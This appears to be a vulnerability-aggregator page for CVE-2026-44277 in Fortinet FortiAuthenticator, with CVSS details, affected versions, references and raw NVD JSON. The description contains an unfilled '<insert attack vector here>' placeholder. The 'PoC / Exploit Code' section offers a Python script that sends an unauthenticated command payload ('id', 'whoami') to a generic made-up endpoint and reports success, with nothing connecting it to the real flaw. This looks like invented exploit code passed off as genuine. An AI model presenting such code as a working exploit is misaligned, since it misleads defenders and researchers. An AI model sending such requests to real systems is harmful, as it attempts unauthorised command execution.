CVE-2026-44277

Description

A improper access control vulnerability in Fortinet FortiAuthenticator 8.0.2, FortiAuthenticator 8.0.0, FortiAuthenticator 6.6.0 through 6.6.8, FortiAuthenticator 6.5.0 through 6.5.6 may allow attacker to execute unauthorized code or commands via <insert attack vector here>

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

FortiAuthenticator 8.0.2

FortiAuthenticator 8.0.0

FortiAuthenticator 6.6.0 - 6.6.8

FortiAuthenticator 6.5.0 - 6.5.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL of the vulnerable FortiAuthenticator instance
# Replace <TARGET_IP> with the actual IP address or hostname
target_url = "https://<TARGET_IP>/api/v1/vulnerable_endpoint"

# Malicious payload designed to execute unauthorized commands
# Example payload simulating a command injection attempt
payload = {
    "command": "id",
    "arg": "whoami"
}

# Headers to mimic a legitimate browser request
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Content-Type": "application/json"
}

try:
    # Sending a POST request without authentication (PR:N)
    response = requests.post(target_url, json=payload, headers=headers, verify=False, timeout=10)

    # Check if the request was successful
    if response.status_code == 200:
        print("[+] Exploit successful! Command output:")
        print(response.text)
    else:
        print(f"[-] Exploit failed. Status code: {response.status_code}")
        print(response.text)

except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44277
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44277
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44277/
[4] VulDB https://vuldb.com/cve/CVE-2026-44277
[5] https://fortiguard.fortinet.com/psirt/FG-IR-26-128

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44277", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:30.040", "lastModified": "2026-05-12T18:57:02.307", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A improper access control vulnerability in Fortinet FortiAuthenticator 8.0.2, FortiAuthenticator 8.0.0, FortiAuthenticator 6.6.0 through 6.6.8, FortiAuthenticator 6.5.0 through 6.5.6 may allow attacker to execute unauthorized code or commands via <insert attack vector here>"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-128", "source": "[email protected]"}]}}